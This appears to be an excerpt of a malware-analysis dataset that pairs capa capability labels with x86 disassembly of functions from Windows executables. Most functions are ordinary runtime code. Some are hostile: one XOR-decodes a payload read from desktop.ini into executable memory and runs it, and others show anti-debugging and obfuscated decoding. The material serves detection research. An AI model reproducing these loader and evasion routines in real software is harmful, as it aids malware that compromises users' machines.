joyce8/EMBER2024-capa huggingface dataset:
Function at 0x401156
Capabilities:
Check if file exists
Delete directory
Delete file
Enumerate files on windows
Enumerate files recursively
Get file attributes

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x248
push ebx
mov ebx, dword [sym.imp.USER32.dll_wsprintfA]
push dword [ebp + 8]
lea eax, [ebp - 0x108]
push str._s.
push eax
call ebx
add esp, 0xc
lea eax, [ebp - 0x248]
push eax
lea eax, [ebp - 0x108]
push eax
call dword [sym.imp.KERNEL32.dll_FindFirstFileA]
cmp eax, 0xffffffff
mov dword [ebp - 4], eax
jne 0x40119d
xor eax, eax
jmp 0x40126f
push esi
mov esi, dword [sym.imp.KERNEL32.dll_GetFileAttributesA]
push edi
mov edi, dword [sym.imp.KERNEL32.dll_Sleep]
lea eax, [ebp - 0x21c]
push eax
lea eax, [ebp - 0x108]
push dword [ebp + 8]
push str._s_s
push eax
call ebx
add esp, 0x10
test byte [ebp - 0x248], 0x10
je 0x401246
lea eax, [ebp - 0x21c]
push 0x407044
push eax
call dword [sym.imp.KERNEL32.dll_lstrcmpA]
test eax, eax
je 0x401208
lea eax, [ebp - 0x21c]
push 0x407040
push eax
call dword [sym.imp.KERNEL32.dll_lstrcmpA]
test eax, eax
je 0x401208
lea eax, [ebp - 0x108]
push eax
call fcn.00401156
pop ecx
lea eax, [ebp - 0x248]
push eax
push dword [ebp - 4]
call dword [sym.imp.KERNEL32.dll_FindNextFileA]
test eax, eax
jne 0x4011ab
push dword [ebp - 4]
call dword [sym.imp.KERNEL32.dll_FindClose]
push dword [ebp + 8]
call dword [sym.imp.KERNEL32.dll_RemoveDirectoryA]
test eax, eax
je 0x40126b
lea eax, [ebp - 0x108]
push eax
call esi
cmp eax, 0xffffffff
je 0x40126b
push 1
call edi
jmp 0x401232
lea eax, [ebp - 0x108]
push eax
call dword [sym.imp.KERNEL32.dll_DeleteFileA]
test eax, eax
je 0x401208
lea eax, [ebp - 0x108]
push eax
call esi
cmp eax, 0xffffffff
je 0x401208
push 1
call edi
jmp 0x401257
pop edi
xor eax, eax
pop esi
pop ebx
leave
ret

Function at 0x401272
Capabilities:
Check if file exists
Create process on windows
Get file attributes

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x15c
push esi
lea eax, [ebp - 0x15c]
push dword [ebp + 8]
xor esi, esi
mov dword [ebp - 4], esi
push str._s_setup.exe
push eax
call dword [sym.imp.USER32.dll_wsprintfA]
add esp, 0xc
lea eax, [ebp - 0x15c]
push eax
call dword [sym.imp.KERNEL32.dll_GetFileAttributesA]
cmp eax, 0xffffffff
je 0x4012e2
push 0x44
lea eax, [ebp - 0x58]
push esi
push eax
call fcn.00403550
add esp, 0xc
lea eax, [ebp - 0x14]
mov dword [ebp - 0x58], 0x44
push eax
lea eax, [ebp - 0x58]
push eax
push esi
push esi
push esi
push 1
push esi
lea eax, [ebp - 0x15c]
push esi
push eax
push esi
call dword [sym.imp.KERNEL32.dll_CreateProcessA]
test eax, eax
jne 0x4012e6
xor eax, eax
jmp 0x401319
push 0xffffffffffffffff
push dword [ebp - 0x14]
call dword [sym.imp.KERNEL32.dll_WaitForSingleObject]
lea eax, [ebp - 4]
push eax
push dword [ebp - 0x14]
call dword [sym.imp.KERNEL32.dll_GetExitCodeProcess]
test eax, eax
jne 0x401306
or dword [ebp - 4], 0xffffffff
push dword [ebp - 0x10]
mov esi, dword [sym.imp.KERNEL32.dll_CloseHandle]
call esi
push dword [ebp - 0x14]
call esi
push 1
pop eax
pop esi
leave
ret
Function at 0x40131c
Capabilities:
Check if file exists
Create directory
Get common file path
Get file attributes

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x104
lea eax, [ebp - 0x104]
push eax
push 0x104
call dword [sym.imp.KERNEL32.dll_GetTempPathA]
test eax, eax
jne 0x40133d
leave
ret
lea eax, [ebp - 0x104]
push esi
mov esi, dword [sym.imp.KERNEL32.dll_lstrlenA]
push eax
call esi
cmp byte [ebp + eax - 0x105], 0x5c
jne 0x401368
lea eax, [ebp - 0x104]
push eax
call esi
and byte [ebp + eax - 0x105], 0
xor esi, esi
lea eax, [ebp - 0x104]
push esi
push eax
push str._sEAC_8.8x
push dword [ebp + 8]
call dword [sym.imp.USER32.dll_wsprintfA]
add esp, 0x10
push dword [ebp + 8]
call dword [sym.imp.KERNEL32.dll_GetFileAttributesA]
cmp eax, 0xffffffff
je 0x401394
inc esi
jmp 0x40136a
push 0
push dword [ebp + 8]
call dword [sym.imp.KERNEL32.dll_CreateDirectoryA]
neg eax
sbb eax, eax
pop esi
neg eax
leave
ret

Function at 0x4013e1
Capabilities:
Read file on windows

Disassembly:
push ebp
mov ebp, esp
sub esp, 0xc
push ebx
and dword [ebp - 8], 0
push esi
mov esi, dword [ebp + 0xc]
push edi
lea eax, [esi + 0x14]
lea edi, [esi + esi*4]
push eax
call fcn.004035b3
push edi
mov dword [ebp + 0xc], eax
call fcn.004035b3
pop ecx
mov ebx, eax
pop ecx
lea eax, [ebp - 0xc]
push 0
push eax
push esi
push dword [ebp + 0xc]
push dword [ebp + 8]
call dword [sym.imp.KERNEL32.dll_ReadFile]
test eax, eax
je 0x401468
push esi
lea eax, [ebp - 4]
push dword [ebp + 0xc]
mov dword [ebp - 4], edi
push eax
push ebx
call fcn.00401548
add esp, 0x10
test eax, eax
je 0x401452
cmp eax, 0xfffffffb
jne 0x401468
push ebx
call fcn.004035a8
add edi, edi
push edi
call fcn.004035b3
pop ecx
mov ebx, eax
pop ecx
jmp 0x401421
push dword [ebp + 0x10]
push dword [ebp - 4]
push ebx
call fcn.00401480
add esp, 0xc
mov dword [ebp - 8], 1
push dword [ebp + 0xc]
call fcn.004035a8
push ebx
call fcn.004035a8
mov eax, dword [ebp - 8]
pop ecx
pop ecx
pop edi
pop esi
pop ebx
leave
ret
Function at 0x401480
Capabilities:
Write file on windows

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x114
push ebx
push esi
push edi
xor ebx, ebx
push 0xa
lea eax, [ebp - 0xc]
push ebx
push eax
call fcn.00403550
mov esi, dword [ebp + 8]
add esp, 0xc
lea eax, [ebp - 0xc]
lea edi, [ebp - 0xc]
push str.ARCH
push eax
movsd dword es:[edi], dword [esi]
call dword [sym.imp.KERNEL32.dll_lstrcmpA]
test eax, eax
jne 0x401536
mov eax, dword [ebp + 8]
lea esi, [eax + 4]
mov eax, dword [ebp + 0xc]
add eax, 0xfffffffc
cmp eax, ebx
mov dword [ebp + 8], eax
je 0x401536
lea eax, [esi + 4]
mov edi, esi
push eax
lea eax, [ebp - 0x114]
push dword [ebp + 0x10]
push str._s_s
push eax
call dword [sym.imp.USER32.dll_wsprintfA]
add esp, 0x10
lea eax, [ebp - 0x114]
push ebx
push ebx
push 2
push ebx
push ebx
push 0xc0000000
push eax
call dword [sym.imp.KERNEL32.dll_CreateFileA]
cmp eax, 0xffffffff
mov dword [ebp + 0xc], eax
je 0x40153e
lea ecx, [ebp - 0x10]
push ebx
push ecx
add esi, 0x104
push dword [edi]
push esi
push eax
call dword [sym.imp.KERNEL32.dll_WriteFile]
push dword [ebp + 0xc]
call dword [sym.imp.KERNEL32.dll_CloseHandle]
mov edi, dword [edi]
mov eax, 0xfffffefc
sub eax, edi
add esi, edi
add dword [ebp + 8], eax
jne 0x4014ca
push 1
pop eax
pop edi
pop esi
pop ebx
leave
ret
call dword [sym.imp.KERNEL32.dll_GetLastError]
xor eax, eax
jmp 0x401539

Function at 0x404559
Capabilities:
Write file on windows

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x1a4
mov edx, dword [ebp + 8]
xor ecx, ecx
mov eax, 0x407628
cmp edx, dword [eax]
je 0x40457b
add eax, 8
inc ecx
cmp eax, 0x4076b8
jl 0x40456c
push esi
mov esi, ecx
shl esi, 3
cmp edx, dword [esi + 0x407628]
jne 0x4046a9
mov eax, dword [0x408ad0]
cmp eax, 1
je 0x404683
test eax, eax
jne 0x4045ac
cmp dword [0x407574], 1
je 0x404683
cmp edx, 0xfc
je 0x4046a9
lea eax, [ebp - 0x1a4]
push 0x104
push eax
push 0
call dword [sym.imp.KERNEL32.dll_GetModuleFileNameA]
test eax, eax
jne 0x4045e3
lea eax, [ebp - 0x1a4]
push str._program_name_unknown_
push eax
call fcn.00405340
pop ecx
pop ecx
lea eax, [ebp - 0x1a4]
push edi
push eax
lea edi, [ebp - 0x1a4]
call fcn.00405430
inc eax
pop ecx
cmp eax, 0x3c
jbe 0x404626
lea eax, [ebp - 0x1a4]
push eax
call fcn.00405430
mov edi, eax
lea eax, [ebp - 0x1a4]
sub eax, 0x3b
push 3
add edi, eax
push 0x4063d8
push edi
call fcn.00405540
add esp, 0x10
lea eax, [ebp - 0xa0]
push str.Runtime_Error__n_nProgram:
push eax
call fcn.00405340
lea eax, [ebp - 0xa0]
push edi
push eax
call fcn.00405350
lea eax, [ebp - 0xa0]
push 0x4063b8
push eax
call fcn.00405350
push dword [esi + 0x40762c]
lea eax, [ebp - 0xa0]
push eax
call fcn.00405350
push 0x12010
lea eax, [ebp - 0xa0]
push str.Microsoft_Visual_C_Runtime_Library
push eax
call fcn.004054ab
add esp, 0x2c
pop edi
jmp 0x4046a9
lea eax, [ebp + 8]
lea esi, [esi + 0x40762c]
push 0
push eax
push dword [esi]
call fcn.00405430
pop ecx
push eax
push dword [esi]
push 0xfffffffffffffff4
call dword [sym.imp.KERNEL32.dll_GetStdHandle]
push eax
call dword [sym.imp.KERNEL32.dll_WriteFile]
pop esi
leave
ret
Function at 0x401508
Capabilities:
Create process on windows
Get common file path

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x25c
push esi
push edi
push 0x11
xor eax, eax
pop ecx
lea edi, [ebp - 0x54]
rep stosd dword es:[edi], eax
lea edi, [ebp - 0x10]
mov dword [ebp - 0x54], 0x44
stosd dword es:[edi], eax
stosd dword es:[edi], eax
stosd dword es:[edi], eax
stosd dword es:[edi], eax
lea eax, [ebp - 0x25c]
mov dword [ebp - 0x28], 1
push eax
push 0x104
mov word [ebp - 0x24], 5
call dword [sym.imp.KERNEL32.dll_GetTempPathW]
mov esi, dword [sym.imp.KERNEL32.dll_lstrlenW]
lea eax, [ebp - 0x25c]
push eax
call esi
xor edi, edi
cmp word [ebp + eax*2 - 0x25e], 0x5c
jne 0x401577
lea eax, [ebp - 0x25c]
push eax
call esi
mov word [ebp + eax*2 - 0x25e], di
lea eax, [ebp - 0x10]
push eax
lea eax, [ebp - 0x54]
push eax
push edi
push edi
push edi
push edi
push edi
push edi
lea eax, [ebp - 0x25c]
push edi
push eax
call dword [sym.imp.KERNEL32.dll_CreateProcessW]
call dword [sym.imp.KERNEL32.dll_GetLastError]
sub eax, 5
pop edi
neg eax
sbb eax, eax
pop esi
inc eax
leave
ret

Function at 0x4015a5
Capabilities:
Read file on windows

Disassembly:
push esi
push 0x403064
push dword [esp + 0xc]
call dword [sym.imp.MSVCRT.dll__wfopen]
mov esi, eax
pop ecx
test esi, esi
pop ecx
jne 0x4015bf
pop esi
ret
push edi
push 0
push 0x341b58
push esi
call dword [sym.imp.MSVCRT.dll_fseek]
mov edi, dword [esp + 0x1c]
push 0xc
pop ecx
xor eax, eax
push esi
push 0x30
rep stosd dword es:[edi], eax
push 1
pop edi
push edi
push dword [esp + 0x28]
call dword [sym.imp.MSVCRT.dll_fread]
add esp, 0x1c
cmp eax, 0x30
je 0x4015f4
xor edi, edi
push esi
call dword [sym.imp.MSVCRT.dll_fclose]
pop ecx
mov eax, edi
pop edi
pop esi
ret

Function at 0x401601
Capabilities:
Read file on windows

Disassembly:
push ebx
push esi
mov esi, dword [esp + 0x14]
push edi
push esi
call dword [sym.imp.MSVCRT.dll_malloc]
mov ecx, esi
mov ebx, eax
mov edx, ecx
xor eax, eax
mov edi, ebx
push 0
push dword [esp + 0x1c]
shr ecx, 2
push dword [esp + 0x1c]
rep stosd dword es:[edi], eax
mov ecx, edx
and ecx, 3
rep stosb byte es:[edi], al
call dword [sym.imp.MSVCRT.dll_fseek]
add esp, 0x10
cmp eax, 0xffffffff
je 0x401652
push dword [esp + 0x10]
push esi
push 1
push ebx
call dword [sym.imp.MSVCRT.dll_fread]
add esp, 0x10
cmp eax, esi
je 0x40165e
push ebx
call dword [sym.imp.MSVCRT.dll_free]
pop ecx
xor eax, eax
jmp 0x401660
mov eax, ebx
pop edi
pop esi
pop ebx
ret
Function at 0x402f80
Capabilities:
Check for debugger via api

Disassembly:
push ebp
mov ebp, esp
sub esp, 8
mov eax, dword [section..data]
xor eax, ebp
mov dword [ebp - 4], eax
mov dword [ebp - 8], 0
call dword [sym.imp.KERNEL32.dll_GetCurrentProcess]
lea ecx, [ebp - 8]
push ecx
push eax
call dword [sym.imp.KERNEL32.dll_CheckRemoteDebuggerPresent]
cmp dword [ebp - 8], 0
je 0x402fb4
call dword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_abort]
mov ecx, dword [ebp - 4]
xor ecx, ebp
call fcn.00406825
mov esp, ebp
pop ebp
ret
Function at 0x4063d8
Capabilities:
Get geographical location

Disassembly:
push ebp
mov ebp, esp
push ecx
push 2
lea eax, [ebp - 4]
push eax
push 0x20000001
push str._x_sys_default_locale
call dword [sym.imp.KERNEL32.dll_GetLocaleInfoEx]
xor ecx, ecx
test eax, eax
jne 0x4063ff
mov eax, ecx
mov dword [ebp - 4], eax
jmp 0x406402
mov eax, dword [ebp - 4]
push esi
mov esi, dword [ebp + 0xc]
push ecx
push ecx
push esi
push eax
push dword [ebp + 8]
push ecx
push 0x1300
call dword [sym.imp.KERNEL32.dll_FormatMessageA]
push eax
push dword [esi]
call fcn.004063b4
pop esi
leave
ret 8

Function at 0x406c45
Capabilities:
Enumerate pe sections

Disassembly:
push ebp
mov ebp, esp
mov eax, dword [ebp + 8]
push esi
mov ecx, dword [eax + 0x3c]
add ecx, eax
movzx eax, word [ecx + 0x14]
lea edx, [ecx + 0x18]
add edx, eax
movzx eax, word [ecx + 6]
imul esi, eax, 0x28
add esi, edx
jmp 0x406c7a
mov ecx, dword [edx + 0xc]
cmp dword [ebp + 0xc], ecx
jb 0x406c77
mov eax, dword [edx + 8]
add eax, ecx
cmp dword [ebp + 0xc], eax
jb 0x406c83
add edx, 0x28
cmp edx, esi
jne 0x406c65
xor eax, eax
pop esi
pop ebp
ret
mov eax, edx
jmp 0x406c80

Function at 0x4070c5
Capabilities:
Parse pe header

Disassembly:
push 0
call dword [sym.imp.KERNEL32.dll_GetModuleHandleW]
test eax, eax
je 0x407104
mov ecx, 0x5a4d
cmp word [eax], cx
jne 0x407104
mov ecx, dword [eax + 0x3c]
add ecx, eax
cmp dword [ecx], 0x4550
jne 0x407104
mov eax, 0x10b
cmp word [ecx + 0x18], ax
jne 0x407104
cmp dword [ecx + 0x74], 0xe
jbe 0x407104
cmp dword [ecx + 0xe8], 0
setne al
ret
xor al, al
ret
Function at 0x404680
Capabilities:
Write file on windows

Disassembly:
push ebp
mov ebp, esp
push esi
push ebx
sub esp, 0x10
mov esi, dword [ebp + 8]
mov dword [esp], esi
call dword [sym.imp.ucrtbase.dll_strlen]
mov ebx, eax
xor eax, eax
test ebx, ebx
je 0x4046d8
cmp byte [esi + ebx - 1], 0xa
je 0x4046ac
mov eax, dword fs:[0x18]
mov eax, dword [eax + 0x24]
xchg dword [0x405fc4], eax
mov dword [esp], 2
call dword [sym.imp.ucrtbase.dll___acrt_iob_func]
mov dword [esp + 8], ebx
mov dword [esp + 0xc], eax
mov dword [esp + 4], 1
mov dword [esp], esi
call dword [sym.imp.ucrtbase.dll_fwrite]
add esp, 0x10
pop ebx
pop esi
pop ebp
ret
Function at 0x4047e0
Capabilities:
Hide graphical window
Terminate process

Disassembly:
push ebp
mov ebp, esp
push edi
push esi
lea esi, [ebp - 0x64]
push ebx
sub esp, 0xa8
mov ebx, dword [ebp + 8]
call dword [sym.imp.comctl32.dll_InitCommonControls]
mov dword [esp + 0xc], 0x14
mov dword [esp + 8], esi
mov dword [esp + 4], 0x44d
mov dword [esp], ebx
call dword [sym.imp.user32.dll_LoadStringW]
mov dword [ebp - 0x3c], 0x30
sub esp, 0x10
mov dword [ebp - 0x38], 0
mov dword [ebp - 0x34], sym._MainProc_16
mov dword [ebp - 0x30], 0
mov dword [ebp - 0x2c], 0
mov dword [ebp - 0x28], ebx
mov dword [esp + 4], 1
mov dword [esp], ebx
call dword [sym.imp.user32.dll_LoadIconW]
sub esp, 8
mov dword [ebp - 0x24], eax
mov dword [esp + 4], 0x7f00
mov dword [esp], 0
call dword [sym.imp.user32.dll_LoadCursorW]
sub esp, 8
mov dword [ebp - 0x20], eax
mov dword [esp], 4
call dword [sym.imp.gdi32.dll_GetStockObject]
mov edi, dword [sym.imp.user32.dll_GetSystemMetrics]
mov dword [ebp - 0x18], 1
sub esp, 4
mov dword [ebp - 0x1c], eax
mov dword [ebp - 0x14], esi
mov dword [esp], 0x32
call edi
sub esp, 4
mov dword [ebp - 0x84], eax
mov dword [esp], 0x31
call edi
mov edx, dword [ebp - 0x84]
sub esp, 4
mov dword [esp + 0x10], edx
mov dword [esp + 0x14], 0x8000
mov dword [esp + 0xc], eax
mov dword [esp + 8], 1
mov dword [esp + 4], 1
mov dword [esp], ebx
call dword [sym.imp.user32.dll_LoadImageW]
mov dword [ebp - 0x10], eax
sub esp, 0x18
lea eax, [ebp - 0x3c]
mov dword [esp], eax
call dword [sym.imp.user32.dll_RegisterClassExW]
sub esp, 4
test ax, ax
je 0x404a35
mov dword [esp + 8], esi
mov dword [esp + 4], esi
mov dword [esp + 0x2c], 0
mov dword [esp + 0x28], ebx
mov dword [esp + 0x24], 0
mov dword [esp + 0x20], 0
mov dword [esp + 0x1c], 0x80000000
mov dword [esp + 0x18], 0x80000000
mov dword [esp + 0x14], 0x80000000
mov dword [esp + 0x10], 0x80000000
mov dword [esp + 0xc], 0xca0000
mov dword [esp], 0
call dword [sym.imp.user32.dll_CreateWindowExW]
sub esp, 0x30
mov esi, eax
test eax, eax
je 0x404a35
mov eax, dword [ebp + 0x14]
mov dword [esp], esi
mov dword [esp + 4], eax
call dword [sym.imp.user32.dll_ShowWindow]
sub esp, 8
mov dword [esp], esi
call dword [sym.imp.user32.dll_UpdateWindow]
sub esp, 4
mov dword [esp], ebx
lea ebx, [ebp - 0x80]
mov dword [esp + 4], 0x4b1
call dword [sym.imp.user32.dll_LoadAcceleratorsW]
sub esp, 8
mov edi, eax
mov dword [esp + 0xc], 0
mov dword [esp + 8], 0x3e8
mov dword [esp + 4], 0x3e8
mov dword [esp], esi
call dword [sym.imp.user32.dll_SetTimer]
sub esp, 0x10
jmp 0x4049d4
mov dword [esp], ebx
call dword [sym.imp.user32.dll_DispatchMessageW]
sub esp, 4
mov dword [esp + 0xc], 0
mov dword [esp + 8], 0
mov dword [esp + 4], 0
mov dword [esp], ebx
call dword [sym.imp.user32.dll_GetMessageW]
sub esp, 0x10
test eax, eax
je 0x404a28
mov dword [esp + 8], ebx
mov dword [esp + 4], edi
mov dword [esp], esi
call dword [sym.imp.user32.dll_TranslateAcceleratorW]
sub esp, 0xc
test eax, eax
jne 0x4049c8
mov dword [esp], ebx
call dword [sym.imp.user32.dll_TranslateMessage]
sub esp, 4
jmp 0x4049c8
mov eax, dword [ebp - 0x78]
lea esp, [ebp - 0xc]
pop ebx
pop esi
pop edi
pop ebp
ret 0x10
mov dword [esp], 1
call dword [sym.imp.kernel32.dll_ExitProcess]
Function at 0x404b00
Capabilities:
Accept command line arguments
Encrypt data using rc4 prga

Disassembly:
push ebp
mov ebp, esp
push edi
push esi
push ebx
sub esp, 0x58
call dword [sym.imp.kernel32.dll_GetCommandLineW]
mov ebx, eax
movzx eax, word [eax]
test ax, ax
je 0x404b8b
cmp ax, 9
je 0x404b78
cmp ax, 0x20
je 0x404b78
mov dword [ebp - 0x54], 0
xor edi, edi
nop
cmp ax, 0x5c
je 0x404be0
cmp ax, 0x22
je 0x404bf0
mov dword [ebp - 0x54], 0
movzx eax, word [ebx + 2]
add ebx, 2
test ax, ax
je 0x404b8b
cmp ax, 9
sete cl
cmp ax, 0x20
mov esi, ecx
sete cl
mov edx, esi
or dl, cl
je 0x404b30
test edi, 1
jne 0x404b30
lea esi, [esi]
movzx eax, word [ebx + 2]
add ebx, 2
cmp ax, 9
je 0x404b78
cmp ax, 0x20
je 0x404b78
lea eax, [ebp - 0x50]
mov dword [esp], eax
call dword [sym.imp.kernel32.dll_GetStartupInfoW]
sub esp, 4
test byte [ebp - 0x24], 1
je 0x404c08
movzx esi, word [ebp - 0x20]
mov dword [esp], 0
call dword [sym.imp.kernel32.dll_GetModuleHandleW]
sub esp, 4
mov dword [esp + 0xc], esi
mov dword [esp + 8], ebx
mov dword [esp + 4], 0
mov dword [esp], eax
call sym._wWinMain_16
sub esp, 0x10
lea esp, [ebp - 0xc]
pop ebx
pop esi
pop edi
pop ebp
ret
inc dword [ebp - 0x54]
jmp 0x404b4b
and dword [ebp - 0x54], 1
jne 0x404b44
xor edi, 1
jmp 0x404b4b
mov eax, 1
mov esi, 1
mov word [ebp - 0x20], ax
jmp 0x404ba4

Function at 0x404c20
Capabilities:
Get process heap flags
Terminate process

Disassembly:
push ebp
mov ebp, esp
push edi
push esi
push ebx
sub esp, 0xc
mov dword [esp], 1
call sym.__configure_wide_argv
call sym.__initialize_wide_environment
call sym.___p___argc
mov esi, dword [eax]
call sym.___p___wargv
mov edi, dword [eax]
call sym.__get_initial_wide_environment
mov ebx, eax
mov eax, dword fs:[0x18]
mov eax, dword [eax + 0x30]
mov eax, dword [eax + 8]
mov edx, dword [eax + 0x3c]
cmp word [eax + edx + 0x5c], 2
sete al
movzx eax, al
inc eax
mov dword [esp], eax
call sym.__set_app_type
mov dword [esp + 8], ebx
mov dword [esp + 4], edi
mov dword [esp], esi
call sym._wmain
mov dword [esp], eax
call sym._exit
nop
nop
nop
nop
nop
Function at 0x994cdc
Capabilities:
Check if file exists
Get file attributes

Disassembly:
mov edi, edi
push ebp
mov ebp, esp
push esi
xor esi, esi
cmp dword [ebp + 8], esi
jne 0x994d03
call fcn.00937288
mov dword [eax], esi
call fcn.00937275
push 0x16
pop esi
mov dword [eax], esi
call fcn.00937eca
mov eax, esi
jmp 0x994d58
test dword [ebp + 0xc], 0xfffffff9
jne 0x994ce9
push dword [ebp + 8]
call dword [sym.imp.KERNEL32.dll_GetFileAttributesW]
cmp eax, 0xffffffff
jne 0x994d30
call dword [sym.imp.KERNEL32.dll_GetLastError]
push eax
call fcn.0093729b
pop ecx
call fcn.00937275
mov eax, dword [eax]
jmp 0x994d58
test al, 0x10
jne 0x994d56
test al, 1
je 0x994d56
test byte [ebp + 0xc], 2
je 0x994d56
call fcn.00937288
mov dword [eax], 5
call fcn.00937275
mov dword [eax], 0xd
jmp 0x994d27
xor eax, eax
pop esi
pop ebp
ret

Function at 0x1000114e
Capabilities:
Allocate or change rwx memory
Encode data using xor
Execute shellcode via indirect call
Read file on windows

Disassembly:
push esi
push edi
push str.ShellExecuteW
push str.shell32.dll
call dword [sym.imp.KERNEL32.dll_LoadLibraryW]
push eax
call dword [sym.imp.KERNEL32.dll_GetProcAddress]
push 1
xor edi, edi
push edi
push edi
push 0x10002054
push str.open
push edi
call eax
push 0x40
mov esi, 0x1000
push esi
push esi
push edi
call dword [sym.imp.KERNEL32.dll_VirtualAlloc]
push edi
push 0x80
push 3
push edi
push 1
push 0x80000000
push str.desktop.ini
mov dword [0x10003228], eax
call dword [sym.imp.KERNEL32.dll_CreateFileW]
mov dword [0x1000322c], eax
cmp eax, 0xffffffff
je 0x100011f3
push edi
push 0x10003230
push esi
push dword [0x10003228]
push eax
call dword [sym.imp.KERNEL32.dll_ReadFile]
mov eax, dword [0x10003228]
movzx ecx, byte [eax]
xor ecx, 0x4e
xor esi, esi
cmp dword [0x10003230], edi
jbe 0x100011f1
mov dl, byte [eax + esi]
xor dl, cl
add dl, 0x42
mov byte [eax + esi], dl
inc esi
cmp esi, dword [0x10003230]
jb 0x100011dd
call eax
pop edi
pop esi
ret 0x10

Function at 0x40895d
Capabilities:
Encode data using xor

Disassembly:
mov edi, 0x4085d8
call fcn.00408987
or ebx, ebx
xor dword [eax], edi
sub esi, 0x9f9f3de1
mov ebx, 0xfb0c1734
inc eax
mov esi, esi
cmp eax, edx
jne fcn.0040895d
add esi, ebx
ret
Function at 0x401aae
Capabilities:
Query or enumerate registry value

Disassembly:
sub esp, 0x18
lea eax, [esp + 4]
push ebx
push ebp
push esi
push edi
push eax
push 0x20019
xor ebx, ebx
push ebx
push str.SYSTEMCurrentControlSetServicesKMSServerServiceParameters
push 0x80000002
call dword [sym.imp.ADVAPI32.dll_RegOpenKeyExW]
mov ebp, 0x4091d8
test eax, eax
jne 0x401bb4
mov esi, dword [sym.imp.ADVAPI32.dll_RegQueryValueExW]
lea eax, [esp + 0x10]
push eax
push 0x409158
push ebx
push ebx
push str.Windows
push dword [esp + 0x28]
mov edi, 0x80
mov dword [esp + 0x28], edi
call esi
lea eax, [esp + 0x10]
push eax
push 0x409058
push ebx
push ebx
push str.Office2010
push dword [esp + 0x28]
mov dword [esp + 0x28], edi
call esi
lea eax, [esp + 0x10]
push eax
push 0x4090d8
push ebx
push ebx
push str.Office2013
push dword [esp + 0x28]
mov dword [esp + 0x28], edi
call esi
lea eax, [esp + 0x10]
push eax
push ebp
push ebx
push ebx
push str.Port
push dword [esp + 0x28]
mov dword [esp + 0x28], 0xc
call esi
push 4
pop edi
lea eax, [esp + 0x10]
push eax
push 0x4091e8
push ebx
push ebx
push str.ActivatedMachines
push dword [esp + 0x28]
mov dword [esp + 0x28], edi
call esi
lea eax, [esp + 0x10]
push eax
push 0x4091e4
push ebx
push ebx
push str.ActivationInterval
push dword [esp + 0x28]
mov dword [esp + 0x28], edi
call esi
lea eax, [esp + 0x10]
push eax
push 0x4091ec
push ebx
push ebx
push str.RenewalInterval
push dword [esp + 0x28]
mov dword [esp + 0x28], edi
call esi
push dword [esp + 0x14]
call dword [sym.imp.ADVAPI32.dll_RegCloseKey]
push ebp
call sub.CRTDLL.dll__wtoi
pop ecx
cmp eax, 1
jb 0x401bc7
cmp eax, 0xffff
jbe 0x401bd5
mov esi, str.1688
mov edi, 0x4091d8
movsd dword es:[edi], dword [esi]
movsd dword es:[edi], dword [esi]
movsw word es:[edi], word [esi]
mov eax, dword [0x4091e8]
push 0x32
pop ecx
cmp eax, 0x19
jb 0x401be6
cmp eax, ecx
jbe 0x401bec
mov dword [0x4091e8], ecx
mov eax, dword [0x4091e4]
mov ecx, 0xa8c0
cmp eax, 0xf
jb 0x401bff
cmp eax, ecx
jbe 0x401c09
mov dword [0x4091e4], 0x78
mov eax, dword [0x4091ec]
cmp eax, 0xf
jb 0x401c17
cmp eax, ecx
jbe 0x401c21
mov dword [0x4091ec], 0x2760
xor eax, eax
lea edi, [esp + 0x1c]
stosd dword es:[edi], eax
stosd dword es:[edi], eax
stosd dword es:[edi], eax
lea eax, [esp + 0x18]
push eax
mov dword [esp + 0x1c], 0x409030
mov dword [esp + 0x20], 0x401996
call dword [sym.imp.ADVAPI32.dll_StartServiceCtrlDispatcherW]
xor eax, eax
pop edi
pop esi
pop ebp
pop ebx
add esp, 0x18
ret

Function at 0x56d3cc
Capabilities:
Execute anti-debugging instructions

Disassembly:
jmp 0x82930a
sub esp, 4
mov dword [esp], edi
push esi
mov esi, 0x13754a5a
mov dword [esp + 4], esi
jmp 0x829413
pop esi
mov dword [esp], esi
mov dword [esp], ebp
jmp 0x82941f
jmp 0x83ad2e
jmp 0x829527
sub esp, 4
mov dword [esp], esp
add dword [esp], 4
push dword [esp]
mov ebp, dword [esp]
add esp, 4
add esp, 4
jmp 0x83ae4d
jmp 0x829424
Function at 0x7ffe5495
Capabilities:
Encode data using xor

Disassembly:
mov eax, dword fs:[0x30]
call 0x7ffe54a0
pop edx
xor dx, dx
add edx, 0xd5e0
xor ecx, ecx
mov cl, 0x1e
xor byte [ecx + edx], 0x6e
loop 0x7ffe54ae
push dword fs:[0x24]
cld
pop dword [edx + 0xa]
mov cl, 0xff
cld
push edx
loop 0x7ffe54c2
nop
mov dword [edx + 0x11], 0xffffacbb
cld
mov ecx, dword [eax + 0x2c]
stc
cld
mov dword [edx + 0x1b], ecx
cld
mov dword [edx + 0x100], ecx
stc
mov dword [eax + 0x2c], esp
clc
cld
push 0
push 0
nop
push 0
push 0
push 0x30
cld
push 0x20
stc
cld
push 0
push 0
add edx, 0xffff7f39
stc
clc
push edx
push edx
push 0
call dword [edx + 0x820a]
add esp, 0x3f8
nop
xor eax, eax
clc
nop
inc eax
ret 0xc